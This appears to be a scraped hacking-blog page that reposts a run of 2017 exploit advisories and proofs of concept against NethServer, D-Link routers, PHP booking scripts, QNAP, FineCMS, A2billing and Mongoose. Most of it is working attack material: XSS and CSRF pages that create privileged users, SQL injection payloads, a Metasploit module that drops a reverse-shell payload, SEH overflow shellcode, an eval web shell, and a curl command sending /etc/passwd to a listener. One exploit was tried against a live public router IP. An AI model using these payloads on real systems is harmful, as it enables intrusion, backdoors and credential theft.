NethServer 7.3.1611 (Upload.json) CSRF Script Insertion Vulnerability
Vendor: NethServer.org
Product web page: https://www.nethserver.org
Affected version: 7.3.1611-u1-x86_64
Summary: NethServer is an operating system for the Linux enthusiast,
designed for small offices and medium enterprises. It's simple, secure
and flexible.
Desc: NethServer suffers from an authenticated stored XSS vulnerability.
Input passed to the 'BackupConfig[Upload][Description]' POST parameter is
not properly sanitised before being returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in
context of an affected site.
Tested on: Kernel 3.10.0.-514.el7.x86_64 on an x86_64
CentOS Linux 7.3.1611 (Core)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5432
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5432.php
16.08.2017
--
PoC request:
POST /en-US/BackupConfig/Upload.json HTTP/1.1
Host: 172.19.0.195:980
Connection: close
Content-Length: 15762
Accept: */*
Origin: https://172.19.0.195:980
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8FfEu2Tn6fUOnT80
Referer: https://172.19.0.195:980/en-US/BackupConfig
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: nethgui=4igflab8fmbi5aq26pvsp5r0f2
------WebKitFormBoundary8FfEu2Tn6fUOnT80
Content-Disposition: form-data; name="arc"; filename="backup-config.7z.xz"
Content-Type: application/x-xz
[xz content omitted]
------WebKitFormBoundary8FfEu2Tn6fUOnT80
Content-Disposition: form-data; name="BackupConfig[Upload][Description]"
<script>confirm(017)</script>
------WebKitFormBoundary8FfEu2Tn6fUOnT80--
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863178514
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
<!--
NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access
Vendor: NethServer.org
Product web page: https://www.nethserver.org
Affected version: 7.3.1611-u1-x86_64
Summary: NethServer is an operating system for the Linux
enthusiast, designed for small offices and medium enterprises.
It's simple, secure and flexible.
Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: Kernel 3.10.0.-514.el7.x86_64 on an x86_64
CentOS Linux 7.3.1611 (Core)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5433
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5433.php
16.08.2017
-->
HTML Decoded PoC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://172.19.0.195:980/en-US/Account/User/create.json" method="POST">
<input type="hidden" name="Account[User][create][username]" value="Blabla" />
<input type="hidden" name="Account[User][create][gecos]" value="Test1" />
<input type="hidden" name="Account[User][create][groups]" value="" />
<input type="hidden" name="Account[User][create][groups][1]" value="admin@zsl.lsz" />
<input type="hidden" name="Account[User][create][expires]" value="no" />
<input type="hidden" name="Account[User][create][shell]" value="/usr/libexec/openssh/sftp-server" />
<input type="hidden" name="Account[User][create][shell]" value="/bin/bash" />
<input type="hidden" name="Account[User][create][setPassword]" value="disabled" />
<input type="hidden" name="Account[User][create][setPassword]" value="enabled" />
<input type="hidden" name="Account[User][create][newPassword]" value="gi3fme$heLL!" />
<input type="hidden" name="Account[User][create][confirmNewPassword]" value="gi3fme$heLL!" />
<input type="hidden" name="Account[User][create][Submit]" value="Submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
# Exploit Title: D-Link DIR-600 - Authentication Bypass (Absolute Path Traversal Attack)
# CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12943
# Date: 29-08-2017
# Exploit Author: Jithin D Kurup
# Contact : https://in.linkedin.com/in/jithin-d-kurup-77b616142
# Vendor : www.dlink.com
# Version: Hardware version: B1
Firmware version: 2.01
# Tested on:All Platforms
1) Description
After Successfully Connected to D-Link DIR-600
Router(FirmWare Version : 2.01), Any User Can Easily Bypass The Router's
Admin Panel Just by adding a simple payload into URL.
D-Link DIR-600 Rev Bx devices with v2.x firmware allow remote attackers to
read passwords via a model/__show_info.php?REQUIRE_FILE= absolute path traversal attack,
as demonstrated by discovering the admin password.
Its More Dangerous when your Router has a public IP with remote login
enabled.
IN MY CASE,
Tested Router IP : http://190.164.170.249
Video POC : https://www.youtube.com/watch?v=PeNOJORAQsQ
2) Proof of Concept
Step 1: Go to
Router Login Page : http://190.164.170.249:8080
Step 2:
Add the payload to URL.
Payload: model/__show_info.php?REQUIRE_FILE=%2Fvar%2Fetc%2Fhttpasswd
Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.
---------------Greetz----------------
+++++++++++ www.0seccon.com ++++++++++++
Saran,Dhani,Gem,Vignesh,Hemanth,Sudin,Vijith
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
<!--
# Exploit Title: Car or Cab Booking Script - SQL injection login bypass
# Exploit Author: Ali BawazeEer || https://sa.linkedin.com/in/alibawazeeer
# Dork: N/A
# Date: 28.08.2017
# software link : http://www.phpscriptsmall.com/product/cab-booking-script/
# Version: 3.04
# Category: Webapps
# Tested on: windows64bit / mozila firefox
#
#
--!>
# ========================================================
#
#
# Car or Cab Booking Script - SQL injection login bypass
#
# Description : an attacker is able to inject malicious sql query to bypass the login page and login as admin of the particular school
#
# Proof of Concept : -
#
# http://localhost/taxibooking/login.php [ set username and password ] to >> admin' or 1=1 -- -
# you must choose the check box as current and existing user
#
#
#
#
#
#
#
# ========================================================
# [+] Disclaimer
#
# Permission is hereby granted for the redistribution of this advisory,
# provided that it is not altered except by reformatting it, and that due
# credit is given. Permission is explicitly given for insertion in
# vulnerability databases and similar, provided that due credit is given to
# the author. The author is not responsible for any misuse of the information contained
# herein and prohibits any malicious use of all security related information
# or exploits by the author or elsewhere.
#
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
<!--
# Exploit Title: PHP Appointment Booking Script - injection login bypass
# Exploit Author: Ali BawazeEer || https://sa.linkedin.com/in/alibawazeeer
# Dork: N/A
# Date: 28.08.2017
# software link : http://www.phpscriptsmall.com/product/php-appointment-booking-script/
# Version: 3.04
# Category: Webapps
# Tested on: windows64bit / mozila firefox
#
#
--!>
# ========================================================
#
#
#
#
# Description : an attacker is able to inject malicious sql query to bypass the login page and login as admin
#
# Proof of Concept : -
#
# http://localhost/appointment/admin_login.php [ set username and password ] to >> admin' or 1=1 -- -
#
#
#
#
# ========================================================
# [+] Disclaimer
#
# Permission is hereby granted for the redistribution of this advisory,
# provided that it is not altered except by reformatting it, and that due
# credit is given. Permission is explicitly given for insertion in
# vulnerability databases and similar, provided that due credit is given to
# the author. The author is not responsible for any misuse of the information contained
# herein and prohibits any malicious use of all security related information
# or exploits by the author or elsewhere.
#
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
-----------------------------------------------------------------------------------
|<!--
# Exploit Title: User Login and Management PHP Script - multiple vulnerabilities
# Exploit Author: Ali BawazeEer || https://sa.linkedin.com/in/alibawazeeer
# Dork: N/A
# Date: 29.08.2017
# software link : https://www.codester.com/items/469/user-login-and-management-php-script
# demo : http://froiden.cloudapp.net/LoginDashboard/index.php
# Version: 3.04
# Category: Webapps
# Tested on: windows64bit / mozila firefox
#
#
|--!>
|----------------------------------------------------------------------------------
1) admin dashboard authentication bypass
Description : An Attackers are able to completely compromise the web application built upon
the user login and management php script as they can gain access to the admin panel and
manage other users as an admin without authentication!
Step 1: Create a rule in No-Redirect Add-on: ^http://localhost/LoginDashboard/admin/index.php
Step 2: Access http://localhost/LoginDashboard/admin/dashboard.php
Risk : Unauthenticated attackers are able to gain full access to the administrator panel
and thus have total control over the application and users , including add admin user .. etc
|----------------------------------------------------------------------------------
2) account takeover - cross side request forgery
Description : attacker can craft a malicious page and send it to any user who is already authenticated to change the password
> exploitation <
<html>
<body>
<form name="csrf_form" action="http://localhost/LoginDashboard/code/ajaxChangePassword.php?password=1234567890&cpassword=1234567890" method="POST">
<script type="text/javascript">document.csrf_form.submit();</script>
</body>
</html>
|-----------------------------------------EOF-----------------------------------------
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'QNAP Transcode Server Command Execution',
'Description' => %q{
This module exploits an unauthenticated remote command injection
vulnerability in QNAP NAS devices. The transcoding server listens
on port 9251 by default and is vulnerable to command injection
using the 'rmfile' command.
This module was tested successfully on a QNAP TS-431 with
firmware version 4.3.3.0262 (20170727).
},
'Author' =>
[
'Zenofex', # Initial vulnerability discovery and PoC
'0x00string', # Initial vulnerability discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'References' =>
[
[ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],
[ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]
],
'DisclosureDate' => 'Aug 6 2017',
'Privileged' => true,
'Arch' => ARCH_ARMLE,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
},
'Targets' => [['Automatic', {}]],
'CmdStagerFlavor' => %w{wget curl},
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9251),
OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])
])
deregister_options 'cmdstager::decoder'
end
def check
vprint_status 'Connecting to transcode server...'
connect
sock.put "\x01\x00\x00\x00"
res = sock.get_once
if res.blank?
vprint_status 'No reply from server'
return CheckCode::Safe
end
vprint_status "Received response: #{res}"
return CheckCode::Detected if res.to_s =~ /client's request is accepted/
CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error 'Connection failed'
return CheckCode::Unknown
ensure
disconnect
end
def execute_command(cmd, opts)
# Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %
# Execute each command seperately
cmd.split(';').each do |c|
connect
vprint_status "Executing command: #{c}"
# Replace spaces with tabs
c.tr! ' ', "\t"
sock.put "\x01\x00\x00\x00/|#{c}|\x00"
res = sock.get_once
unless res.to_s =~ /client's request is accepted/
print_status 'Unexpected reply'
break
end
print_status "Sent command successfully (#{c.length} bytes)"
disconnect
if c =~ /^(curl|wget)/
print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
Rex.sleep datastore['DELAY']
end
end
rescue ::Rex::ConnectionError
fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
ensure
disconnect
end
def exploit
vprint_status 'Connecting to transcode server...'
execute_cmdstager linemax: 400
end
end
# # # # #
# Exploit Title: PHP Video Battle Script 1.0 - SQL Injection
# Dork: N/A
# Date: 28.08.2017
# Vendor Homepage: http://www.rocky.nu/
# Software Link: http://www.rocky.nu/product/php-video-battle/
# Demo: http://videobattle.rocky.nu/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/[SQL].html
#
# -1'+uNiOn+SeleCt++0x31,0x32,0x33,0x34,0x35,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),0x37+--+--+-.html
#
# http://localhost/[PATH]/videobattle.html?vote=[SQL]
# http://localhost/[PATH]/videobattle.html?draw=[SQL]
#
# Etc..
# # # # #
#!/usr/bin/python
###############################################################################
# Exploit Title: Easy Vedio to PSP Converter 1.6.20 - Local Buffer Overflow (SEH)
# Date: 28-08-2017
# Exploit Author: Kishan Sharma
# Email : thekishansharma@gmail.com
# Vulnerable Software: Easy Vedio to PSP Converter
# Vendor Homepage: http://www.divxtodvd.net/
# Version: 1.6.20
# Software Link: http://www.divxtodvd.net/easy_video_to_psp.exe
# Tested On: Windows 7 x64
# To reproduce the exploit:
# 1. Click Register
# 2. In the "Enter User Name" field, paste the content of test.txt
#
##############################################################################
buffer = "\x41" * 1008 #Junk
nSEH = "\xeb\x10\x90\x90" #Short Jump
# 0x10037859 : pop esi # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ} [SkinMagic.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = "\x59\x78\x03\x10"
badchars = "\x00\x0a\x0d" # and 0x80 to 0xff
# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python
buf = ""
buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"
nops = "\x90" * 16 #Nops
badchars = "\x0a\x0d"
data = buffer + nSEH + SEH + nops + buf
f = open ("test.txt", "w")
f.write(data)
f.close()
# # # # #
# Exploit Title: FineCMS 1.0 Multiple Vulnerabilities
# Dork: N/A
# Date: 29.08.2017
# Vendor Homepage : http://mvc.net.pl/
# Software Link: https://github.com/andrzuk/FineCMS
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: sohaip-hackerDZ
# Author Web: http://www.hacker-ar.com
# Author Social: @sohaip_hackerDZ
# # # # #
Reflected XSS in get_image.php
Technical Description:
file /application/lib/ajax/get_image.php the $_POST['id'] and $_POST['name'] and $_GET['folder'] without any validated, sanitised or output encoded.
Proof of Concept(PoC)
http://your_finecms/application/lib/ajax/get_image.php?folder=1
POST:
id=1"><script>alert(1)</script>&name=1
Arbitrary File Modify
Technical Description:
The base function for modify the template can modify the filename,this leads to the Arbitrary File Modify, who could allow attacker getshell.
file /appalication/core/controller/template.php line50-line53
follow function save() file /appalication/core/model/template.php line26-line48
if file exists, we can modify it whihout any limit.
insterestingly, there are two more Vulnerability for same function in different files.
file /appalication/core/model/style.php line26-line48
file /appalication/core/model/script.php line26-line48
Proof of Concept(PoC)
http://your_finecms/index.php?route=template
http://your_finecms/index.php?route=style
http://your_finecms/index.php?route=script
POST:
contents=<?php phpinfo();?>&filename={any exist filename}&savabutton=Zapisz
Authenticated SQL injection
all FineCMS use PDO to connect the mysql server, so all the data without any validated, sanitised or output encoded injection database.but in application/core/controller/excludes.php, the website author use mysqli to connect mysql server.the lead SQL injection, who could allow attacker use some payload to get data in database.
Technical Description:
file application/core/controller/excludes.php line75, the visitor_ip insert into database without any validated, sanitised or output encoded.
file /stat/get_stat_data.php line30
the sql inject into sql_query and execute.
Proof of Concept(PoC)
http://your_finecms/index.php?route=excludes&action=add
POST:
visitor_ip=1%27%2Csleep%281%29%2C%271&save_button=Zapisz
and view http://your_finecms/stat/get_stat_data.php,we can feel website loading sleep.
Stored XSS in images.php
FineCMS allow admin to upload image into gallery, and it will show image data into pages, but some data will output into pages without any validated, sanitised or output encoded. they allow attacker Cross Site Scripting.
Technical Description:
when we upload the file
file application/core/controller/images.php line87
and follow the function add() file application/core/model/images.php line78
if filetype startwith "image",the filetype will insert into database
when we view the detail of the images file application/lib/generators/view.php line106, somethings will output into pages.
Proof of Concept(PoC)
view the http://your_finecms/index.php?route=images&action=add and upload picture
modify the picture's filetype
view the detail of picture
Because of the vulnerability also in edit detail page. so you also can use edit to insert Script code in pages.
http://your_finecms/index.php?route=images&action=edit&id=15
view the detail of picture
Stored XSS in visitors.php
FineCMS stores all the visitors the visit url, but in detail of log they output into pages without any validated, sanitised or output encoded. they allow attacker Cross Site Scripting.
Technical Description:
just like last vulnerability.
Proof of Concept(PoC)
visit any page with js script code. such as
index.php?route=images&action=view&id=14'"><script>alert(1)</script>
# # # # #
# Exploit Title: The Car Project 1.0 - SQL Injection
# Dork: N/A
# Date: 05.09.2017
# Vendor Homepage: http://thecarproject.org/
# Software Link: http://thecarproject.org/thecarproject.zip
# Demo: http://www.thecarproject.org/cp
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Vulnerable Source:
#
# <?php
# .............
# if(isset($_GET['car_id'])) {
# $motor_id = $_GET['car_id'];
# if (!empty($_GET['man_id'])){
# $manufacturer_id = $_GET['man_id'];
# }
# .............
# ?>
#
# Proof of Concept:
#
# http://localhost/[PATH]/info.php?car_id=[SQL]
#
# -5+/*!11122uNiOn*/(/*!11122sELect*/0x283129,0x283229,/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION()),0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629,0x28323729,0x28323829,0x28323929,0x28333029,0x28333129,0x28333229,0x28333329,0x28333429,0x28333529,0x28333629,0x28333729,0x28333829,0x28333929,0x28343029,0x28343129,0x28343229,0x28343329,(44),0x28343529,0x28343629,0x28343729,0x28343829,0x28343929)
#
# Etc..
# # # # #
# # # # #
# Exploit Title: iGreeting Cards 1.0 - SQL Injection
# Dork: N/A
# Date: 04.09.2017
# Vendor Homepage: http://coryapp.com/
# Software Link: http://coryapp.com/?product&index
# Demo: http://coryapp.com/demo/greetingcards/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/index.php?index&search&k=[SQL]
#
# eFe'+/*!11112UnIoN*/(/*!11112SelEcT*/+0x283129,VERSioN(),0x283329,0x283429,0x283529,0x283629,0x283729,0x283829)--+-
#
# http://localhost/[PATH]/index.php?index&index&p=[SQL]
#
# http://localhost/[PATH]/index.php?category&index&id=[SQL]
#
# Etc..
# # # # #
# Title : A2billing 2.x , Unauthenticated Backup dump / RCE flaw
# Vulnerable software : A2billing 2.x
# Author : Ahmed Sultan (0x4148)
# Email : 0x4148@gmail.com
# Home : 0x4148.com
# Linkedin : https://www.linkedin.com/in/0x4148/
A2billing contain multiple flaws which can be chained together to achieve shell access over the a2b instance
If you're looking for deep technical stuff , check out the full writeup at https://0x4148.com/2016/10/28/a2billing-rce/
1 . backup dump
Vulnerable code
File : admin/public/form_data/FG_var_backup.inc
getpost_ifset(array('name','path','creationdate'));
$HD_Form = new FormHandler("cc_backup","Backup");
$HD_Form -> FG_DEBUG = 0;
if ($form_action!='ask-add')
check_demo_mode();
if ($form_action == 'add'){
$backup_file = $path;
if (substr($backup_file,-3)=='.gz'){
// WE NEED TO GZIP
$backup_file = substr($backup_file,0,-3);
$do_gzip=1;
}
// Make the backup stuff here and redirect to success page
//mysqldump -all --databases mya2billing -ua2billinguser
-pa2billing > /tmp/test.sql
//pg_dump -c -d -U a2billinguser -h localhost -f /tmp/test.sql
mya2billing
if (DB_TYPE != 'postgres'){
$run_backup=MYSQLDUMP." -all --databases ".DBNAME." -u'".USER."'
-p'".PASS."' > '{$backup_file}'";
}else{
$env_var="PGPASSWORD='".PASS."'";
putenv($env_var);
$run_backup=PG_DUMP." -c -d -U ".USER." -h ".HOST." -f '{$backup_file}'
".DBNAME;
}
if ($FG_DEBUG == 1 ) echo $run_backup."<br>";
>>>> exec($run_backup,$output,$error);
if ($do_gzip){
// Compress file
$run_gzip = GZIP_EXE." '$backup_file'";
if ($FG_DEBUG == 1 ) echo $run_gzip."<br>";
>>>> exec($run_gzip,$output,$error_zip);
}
File is being called at "admin/Public/A2B_entity_backup.php" before the authentication checking proccess take place so to dump full backup we can just move to :
http://HOST//a2billing/admin/Public/A2B_entity_backup.php?form_action=add&path=0x4148.sql
backup will be found at admin/Public/0x4148.sql
few hardening is being carried out by the application which did great job preventing direct RCE flaw , so we had to figure out sth else
2 . SQL injection
File name : ckeckout_process.php
Line 287 : $Query = "INSERT INTO cc_payments_agent ( agent_id, agent_name,
agent_email_address, item_name, item_id, item_quantity, payment_method,
cc_type, cc_owner, cc_number, " .
" cc_expires, orders_status, last_modified, date_purchased,
orders_date_finished, orders_amount, currency, currency_value) values (" .
" '".$transaction_data[0][1]."', '".$customer_info[3]."
".$customer_info[2]."', '".$customer_info["email"]."', 'balance', '".
$customer_info[0]."', 1, '$pmodule',
'".$_SESSION["p_cardtype"]."', '".$transaction_data[0][5]."',
'".$transaction_data[0][6]."', '".
$transaction_data[0][7]."', $orderStatus, '".$nowDate."',
'".$nowDate."', '".$nowDate."', ".$amount_paid.", '".$currCurrency."', '".
$currencyObject->get_value($currCurrency)."' )";
$result = $DBHandle_max -> Execute($Query);
By exploiting this flaw we can insert malicious data into the db using the following query <thanks to i-Hmx for the great hint>
transactionID=456789111111 unise//**lecton selinse//**rtect
1,2,3,4,0x706c75676e706179,0x3c3f706870206576616c286261736536345f6465636f646528245f504f53545b6e61696c69745d29293b203f3e,7,8,9,10,11,12,13-//**-
-&sess_id=4148&key=98346a2b29c131c78dc89b50894176eb
After sending this request the following payload "<?php
eval(base64_decode($_POST[nailit])); ?>" will be injected directly into the
DB
3 . RCE
after injecting the malicious code we can just dump backup again but this time we will name it "0x4148.php" , so our code can be executed :)
[root@localhost Public]# curl '
https://127.0.0.1/a2billing/admin/Public/A2B_entity_backup.php?form_action=add&path=0x4148.php' --insecure
[root@localhost Public]# cat 0x4148.php | grep nailit
INSERT INTO `cc_payments_agent` VALUES (295,2,'
','','balance','',1,'plugnpay','','66666666666666666666666666666666666666666666','77777777777777777777777777777777','8',-1,'3.000000','2016-10-28
10:57:10','2016-10-28 10:57:10','2016-10-28
10:57:10','usd','0.000000'),(296,2,'
','','balance','',1,'plugnpay','','<?php
eval(base64_decode($_POST[nailit])); ?>','7','8',-1,'3.000000','2016-10-28
10:58:22','2016-10-28 10:58:22','2016-10-28 10:58:22','usd','0.000000');
Now just exploit it via post nailit=base64_encoded php code to admin/Public/0x4148.php for instance system(‘x=$(cat /etc/passwd);curl -d “$x”
http://x.x.x.x:8000/0x4148.jnk’); will read /etc/passwd and send it to our nc listener
Exploit timeline :
01/10/2016 : vulnerability reported to vendor
06/10/2016 - 12/2016 : talks talks talks with promises of fixing ASAP
04/09/2017 : Public release
Credits,
Ahmed Sultan - Cyber Security Analyst @ EG-CERT
# Title : A2billing 2.x , Sql injection vulnerability
# Vulnerable software : A2billing 2.x
# Author : Ahmed sultan (0x4148)
# Email : 0x4148@gmail.com
# Linkedin : https://www.linkedin.com/in/0x4148/
If you're looking for deep technical stuff , overcoming sanitization/hardening . . etc you can check out the full writeup at https://0x4148.com/2016/10/28/a2billing-all-versions-2-1-1-sql-injection-exploit/
A2billing is vulnerable to sql injection attack resulting from not enough sanitization of several inputs including transactionID
The sanitization proccess differ from version to another , but the concept is the same ,
I demonstrated bypassing the last version (2.1.1) , but still all versions till the moment are vulnerable as well with just little bit different modifications
File : agent/public/checkout_process.php
getpost_ifset(array('transactionID', 'sess_id', 'key', 'mc_currency',
'currency', 'md5sig', 'merchant_id', 'mb_amount', 'status', 'mb_currency',
'transaction_id', 'mc_fee', 'card_number'));
...................................................
// Status - New 0 ; Proceed 1 ; In Process 2
$QUERY = "SELECT id, agent_id, amount, vat, paymentmethod, cc_owner,
cc_number, cc_expires, creationdate, status, cvv, credit_card_type,
currency " .
" FROM cc_epayment_log_agent " .
" WHERE id = ".$transactionID." AND (status = 0 OR (status = 2 AND
$NOW_2MIN))";
$transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);
POC :
Sending POST request : transactionID=456789111111 unise//**lectonselinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,9,10,11,12,13-//**--&sess_id=4148key=636902c6ed0db5780eb613d126e95268
to : https://HOST/a2billing/agent/Public/checkout_process.php
will result in redirection of the application and the Location header will contain our decoded payment module which was used in the query "plugnpay" , which indicate successful injection
Full exploitation demo : https://www.youtube.com/watch?v=8dfdZCmPGWA
Exploit timeline :
01/10/2016 : vulnerability reported to vendor
06/10/2016 - 12/2016 : talks talks talks with promises of fixing ASAP
04/09/2017 : Public release
Full exploit code is attached <loose code for demonstration purposes only>
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42615.zip
Thanks fly to R1z clan :)
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MONGOOSE-WEB-SERVER-v6.5-CSRF-COMMAND-EXECUTION.txt
[+] ISR: apparitionSec
Vendor:
===============
www.cesanta.com
Product:
==================
Mongoose Web Server (Free Edition)
Mongoose-free-6.5.exe
Download: https://cesanta.com/binary.html
Mongoose - GitHub's most popular embedded web server
and multi-protocol networking library
Mongoose Embedded Web Server Library - Mongoose is more than an embedded webserver. It is a multi-protocol embedded networking library
with functions including TCP, HTTP client and server, WebSocket client and server, MQTT client and broker and much more.
Vulnerability Type:
===================
CSRF - Command Execution
CVE Reference:
==============
CVE-2017-11567
Security Issue:
================
Remote attackers who can lure a Mongoose web server user into clicking a malicious link or visit attacker controlled web page
can execute system commands on the system hosting Mongoose server. However, IF Mongoose web server is installed as service then
executing programs e.g. "calc.exe" may at times crash or fail to appear, but you may see it in Windows taskmgr.exe.
Therefore, from my tests commands may become unstable when Mongoose is run as a service.
When Mongoose is run standard mode attackers can potentially modify "Mongoose.conf" and create arbitrary files on server like .PHP etc.
to point Mongoose to this as its new "index" file. Then you need to tell Mongoose its "access_log_file" is the new attacker generated
file, after injecting commands into Mongoose web servers log file that will get excuted when log file is later requested.
This vulnerability requires CGI interpreter to be already set or some information about the target is known like the CGI path and language
"pl,php,cgi" used, so when we can set to use correct programming language when file is created during initial CRSF attack.
Note: If running commands with arguments, we have to use "\t" tab chars as using space will break our TELNET based code injection
to the server log.
e.g.
GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1
OR just TELNET to Mongoose web server, inject arbitrary commands, then call exec by making another TELNET HTTP GET.
After Command Injection "Mongoose.conf" will be:
# Mongoose web server configuration file.
# For detailed description of every option, visit
# https://github.com/cesanta/Mongoose
# Lines starting with '#' and empty lines are ignored.
# To make a change, remove leading '#', modify option's value,
# save this file and then restart Mongoose.
# access_control_list
access_log_file C:\Mongoose.access.php <======= BOOM
# auth_domain mydomain.com
cgi_interpreter c:\xampp\php\php.exe <====== MUST BE SET
# cgi_pattern **.cgi$|**.pl$|**.php$
# dav_auth_file
# dav_root
# debug 0
document_root C:\
# enable_directory_listing yes
# error_log_file
# extra_headers
# extra_mime_types
# global_auth_file
# hide_files_patterns
# hexdump_file
index_files Mongoose.access.php <======== BOOM
# listening_port 8080
# run_as_user
# ssi_pattern **.shtml$|**.shtm$
# ssl_certificate
# ssl_ca_certificate
# start_browser yes
# url_rewrites
Mongoose log file Command Inject to create backdoor.
-----------------------------------------------------------
2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 -
